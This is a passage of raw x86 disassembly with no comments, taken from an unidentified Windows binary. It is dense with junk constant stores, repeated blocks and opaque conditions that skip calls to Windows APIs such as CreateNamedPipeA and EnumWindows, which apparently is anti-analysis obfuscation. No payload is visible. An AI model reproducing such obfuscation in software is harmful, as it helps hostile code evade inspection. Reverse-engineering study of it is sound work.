mov dword [ebp + eax*4 - 0xd40], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e194
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xf
jg 0x1002e225
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff8
jg 0x1002e214
push 6
pop edi
mov dword [ebp - 0x50], 0xc96c7979
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x50], eax
jne 0x1002e1fc
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0xd40]
setg cl
imul ecx, eax
cmp ecx, dword [ebp - 0x40]
jg 0x1002e1fc
xor edi, edi
push 6
mov ecx, edi
pop edi
jmp 0x1002e1fe
mov ecx, edx
xor eax, eax
cmp ecx, edi
push 0
setg al
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff8
pop eax
jle 0x1002e1cc
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xf
jle 0x1002e1b5
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
xor eax, eax
push 0x51a
push 0xa3f
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
mov dword [ebp - 0x2c], 0xaf425f5f
xor esi, esi
inc esi
xor eax, eax
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x30], 0x70669599
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x50], 0x12af0488
mov dword [ebp - 0x38], 0x9a2f3817
mov dword [ebp - 0x30], 0xa74adf29
mov dword [ebp - 0x44], 0xfffe
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002e293
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa00], 0xa6b950ba
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002e27a
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e2b5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x544], 0x9017ca4e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e29c
xor eax, eax
cmp dword [ebp - 0x9f8], eax
je 0x1002e32d
mov ecx, dword [ebp - 0x9fc]
mov eax, dword [ebp - 0x44]
neg ecx
inc dword [ebp - 0x44]
cmp ecx, eax
je 0x1002e2d3
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x540]
mov eax, dword [ebp - 0x544]
xor eax, eax
cmp dword [ebp - 0x9f4], eax
jne 0x1002e300
cmp dword [ebp - 0x50], eax
je 0x1002e303
xor eax, eax
inc eax
xor ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x544]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setl al
cmp esi, eax
je 0x1002e336
xor esi, esi
xor eax, eax
inc esi
cmp dword [ebp - 0x50], eax
jne 0x1002e339
mov ecx, eax
jmp 0x1002e33b
xor esi, esi
inc esi
mov ecx, esi
mov eax, dword [ebp - 0x9f4]
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x540], ecx
mov dword [ebp - 0x2c], 0xaf425f5f
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x30], 0x70669599
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x50], 0x12af0488
mov dword [ebp - 0x38], 0x9a2f3817
mov dword [ebp - 0x30], 0xa74adf29
mov dword [ebp - 0x44], 0xfffe
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002e3bc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa60], 0xa6b950ba
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002e3a3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e3de
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x558], 0x9017ca4e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e3c5
xor eax, eax
cmp dword [ebp - 0xa58], eax
je 0x1002e456
mov ecx, dword [ebp - 0xa5c]
mov eax, dword [ebp - 0x44]
neg ecx
inc dword [ebp - 0x44]
cmp ecx, eax
je 0x1002e3fc
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x550]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x554]
mov eax, dword [ebp - 0x558]
xor eax, eax
cmp dword [ebp - 0xa54], eax
jne 0x1002e429
cmp dword [ebp - 0x50], eax
je 0x1002e42c
xor eax, eax
inc eax
xor ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x558]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setl al
cmp esi, eax
je 0x1002e45f
xor esi, esi
xor eax, eax
inc esi
cmp dword [ebp - 0x50], eax
jne 0x1002e462
mov ecx, eax
jmp 0x1002e464
xor esi, esi
inc esi
mov ecx, esi
mov eax, dword [ebp - 0xa54]
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x554], ecx
mov byte [ebp - 0x61], al
mov dword [ebp - 0x40], 0xa5d6c05b
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffffd
jle 0x1002e646
mov dword [ebp - 0x4c], 0x7b844a75
mov dword [ebp - 0x44], 0x97e7c14a
mov dword [ebp - 0x14], eax
jmp 0x1002e4d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd04], 0x91c84132
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002e4c3
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x20], esi
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002e4ef
cmp dword [ebp - 0xcfc], eax
je 0x1002e4f1
mov eax, esi
cmp eax, dword [ebp - 0x4c]
jg 0x1002e58f
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1002e591
mov dword [ebp - 0x3c], 0x64dbb9a2
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
add eax, 0x8c4f412f
add ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x2628f0fc
jne 0x1002e552
mov ecx, esi
cmp dword [ebp - 0x3c], eax
jne 0x1002e554
mov ecx, eax
xor eax, eax
cmp ecx, 0x4d864b91
setl al
imul eax, eax, 0x20f0
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
je 0x1002e585
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e587
mov eax, esi
jmp 0x1002e587
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002e630
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x38], 0x42ea6ae2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002e5bd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x428], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e5a8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e5d0
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [ebp - 0x424]
dec eax
je 0x1002e60f
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x424]
sub ecx, eax
mov eax, dword [ebp - 0x424]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
sub edx, 0xf57f54ab
neg edx
sbb edx, edx
inc edx
sub eax, edx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
je 0x1002e60f
mov eax, esi
jmp 0x1002e613
xor edi, edi
mov eax, edi
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x424]
sub eax, dword [ebp - 0xcfc]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffffd
push 0
pop eax
jg 0x1002e4b0
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp byte [ebp - 0x61], 0
push 0xfffffffffffffffe
pop ecx
je 0x1002e70f
mov dword [ebp - 0x20], 0x68206240
or esi, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x6fe6d39c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002e68f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xec0], 0x673e7ed6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e676
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e6c0
push eax
push 0x2385
push 0x417
push 0x39d
push 0x1c76
push 0x189f
push 0x24ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff7
jmp 0x1002e6ff
mov dword [ebp - 0x30], 0x5e00fe1c
mov dword [ebp - 0x30], 0x7b5ca986
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002e6f9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xed8], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e6e0
xor eax, eax
inc dword [ebp - 0x2c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 5
jg 0x1002e6c9
push eax
push eax
push eax
call edi
push 0xfffffffffffffffe
pop ecx
jmp 0x1002e712
or esi, 0xffffffff
mov dword [ebp - 0x18], 0xb4ffb87
xor eax, eax
mov dword [ebp - 0x2c], 0xfd66c4a8
xor edi, edi
mov dword [ebp - 0x50], 0x448112de
inc edi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002e74f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002e737
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002e76d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc8], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002e758
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002e78d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x51c], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002e775
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002e88e
mov dword [ebp - 0x50], 0x86bd085c
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
jmp 0x1002e7bc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4d8], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e7ab
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x90], 0
je 0x1002e7f7
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002e7f9
mov edx, edi
jmp 0x1002e7fb
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xbc4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x90]
mov ecx, dword [ebp - 0x90]
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
mov eax, dword [ebp + eax*4 - 0x90]
inc ecx
add eax, ecx
mov dword [ebp - 0x4d8], eax
je 0x1002e845
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x54], eax
je 0x1002e847
mov ecx, edi
mov dword [ebp - 0x50], esi
xor edx, edx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x90]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
add ecx, dword [ebp - 0x50]
je 0x1002e879
cmp dword [ebp - 0x38], eax
je 0x1002e879
mov eax, edi
push 0
mov dword [ebp - 0x51c], eax
dec dword [ebp - 0x18]
pop eax
push 0xfffffffffffffffe
pop ecx
jns 0x1002e799
mov esi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e8a9
push eax
push eax
push 0x7fc
push eax
call esi
xor eax, eax
mov dword [ebp - 0x28], 0x7a3a
mov dword [ebp - 0x34], 0xd2eb
mov dword [ebp - 0x2c], 0x5051
mov dword [ebp - 0x38], 0xbf199314
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002e8e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c4], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e8d1
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xf1d65f4e
setne cl
cmp ecx, dword [ebp - 0x28]
jl 0x1002e902
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1002e921
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x7289
mov dword [ebp - 0x1c4], ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002e9b7
mov dword [ebp - 0x28], eax
jmp 0x1002e9a0
mov dword [ebp - 0x38], 0xfffffff7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1c4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1c4], edi
xor eax, eax
mov dword [ebp - 0x20], 0xa
cmp dword [ebp - 0x20], 0x15
jge 0x1002e99d
mov dword [ebp - 0x38], 0x32cb818e
cmp dword [ebp - 0x38], eax
jne 0x1002e99d
inc dword [ebp - 0x20]
jmp 0x1002e986
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002e95f
mov eax, dword [ebp - 0x34]
push 0
mov eax, dword [ebp + eax*4 - 0x1c4]
dec dword [ebp - 0x34]
pop eax
jns 0x1002e95a
mov dword [ebp - 0x28], 0x7a3a
mov dword [ebp - 0x34], 0xd2eb
mov dword [ebp - 0x2c], 0x5051
mov dword [ebp - 0x38], 0xbf199314
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002e9f0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b8], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e9df
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xf1d65f4e
setne cl
cmp ecx, dword [ebp - 0x28]
jl 0x1002ea10
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1002ea2f
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x7289
mov dword [ebp - 0x1b8], ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002eac5
mov dword [ebp - 0x28], eax
jmp 0x1002eaae
mov dword [ebp - 0x38], 0xfffffff7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1b8], edi
xor eax, eax
mov dword [ebp - 0x20], 0xa
cmp dword [ebp - 0x20], 0x15
jge 0x1002eaab
mov dword [ebp - 0x38], 0x32cb818e
cmp dword [ebp - 0x38], eax
jne 0x1002eaab
inc dword [ebp - 0x20]
jmp 0x1002ea94
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002ea6d
mov eax, dword [ebp - 0x34]
push 0
mov eax, dword [ebp + eax*4 - 0x1b8]
dec dword [ebp - 0x34]
pop eax
jns 0x1002ea68
mov dword [ebp - 0x18], 0xb4ffb87
or ecx, 0xffffffff
mov dword [ebp - 0x2c], 0xfd66c4a8
mov dword [ebp - 0x50], 0x448112de
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002eb00
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002eae8
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002eb1e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xab8], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002eb09
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002eb3e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x660], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002eb26
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002ec49
or esi, 0xffffffff
mov dword [ebp - 0x50], 0x86bd085c
mov dword [ebp - 0x50], 0xfffffffe
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
jmp 0x1002eb74
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x658], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002eb63
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xa0], 0
je 0x1002ebaf
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002ebb1
mov edx, edi
jmp 0x1002ebb3
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xab4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
mov ecx, dword [ebp - 0xa0]
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
mov eax, dword [ebp + eax*4 - 0xa0]
inc ecx
add eax, ecx
mov dword [ebp - 0x658], eax
je 0x1002ebfd
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x54], eax
je 0x1002ebff
mov ecx, edi
mov dword [ebp - 0x50], esi
xor edx, edx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa0]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
add ecx, dword [ebp - 0x50]
je 0x1002ec31
cmp dword [ebp - 0x38], eax
je 0x1002ec31
mov eax, edi
mov dword [ebp - 0x660], eax
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x1002eb4d
mov esi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ec5e
push eax
push eax
push 0x7fc
push eax
call esi
xor eax, eax
mov dword [ebp - 0x38], 7
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0x57ad95e1
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0xa3888451
mov dword [ebp - 0x30], 0xa22e974a
mov dword [ebp - 0x30], 0x52f34111
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xa5bc4220
mov dword [ebp - 0x30], 0x4361a6b7
mov dword [ebp - 0x30], 0xb1af9d66
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x65b0b56c
mov dword [ebp - 0x30], 0x79655965
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x30], 0x77b69c93
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x14], eax
jmp 0x1002ecd7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfec], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002ecc6
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], eax
jl 0x1002ed33
mov dword [ebp - 0x30], 0x576c3a0b
mov dword [ebp - 0x30], 0x811fc80a
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ed2b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xabc], 0xe95aad85
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ed13
xor eax, eax
dec dword [ebp - 0x2c]
dec dword [ebp - 0x20]
jns 0x1002ecf6
mov dword [ebp - 0x18], 0x76f5020f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ed5a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x668], 0xc85f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ed42
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002ede1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ed84
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f8], 0xb8c3ad3b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ed6b
xor eax, eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], eax
jl 0x1002edc7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002eda8
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002edbf
push 0x1879
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
dec dword [ebp - 0x3f8]
jns 0x1002ed92
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x668], ecx
jne 0x1002eddf
inc dword [ebp - 0x18]
push ecx
pop eax
cmp dword [ebp - 0x18], ecx
jle 0x1002ed62
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff7
jmp 0x1002ee00
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002edfd
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x17
jle 0x1002edea
mov dword [ebp - 0x18], 0xb4ffb87
or ecx, 0xffffffff
mov dword [ebp - 0x2c], 0xfd66c4a8
mov dword [ebp - 0x50], 0x448112de
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002ee41
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa8], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ee29
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002ee5f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbec], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ee4a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002ee7f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x678], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ee67
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002ef8a
or esi, 0xffffffff
mov dword [ebp - 0x50], 0x86bd085c
mov dword [ebp - 0x50], 0xfffffffe
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
jmp 0x1002eeb5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x670], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002eea4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa8]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x1002eef0
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002eef2
mov edx, edi
jmp 0x1002eef4
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xbe8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa8]
mov ecx, dword [ebp - 0xa8]
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
mov eax, dword [ebp + eax*4 - 0xa8]
inc ecx
add eax, ecx
mov dword [ebp - 0x670], eax
je 0x1002ef3e
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x54], eax
je 0x1002ef40
mov ecx, edi
mov dword [ebp - 0x50], esi
xor edx, edx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xa8]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
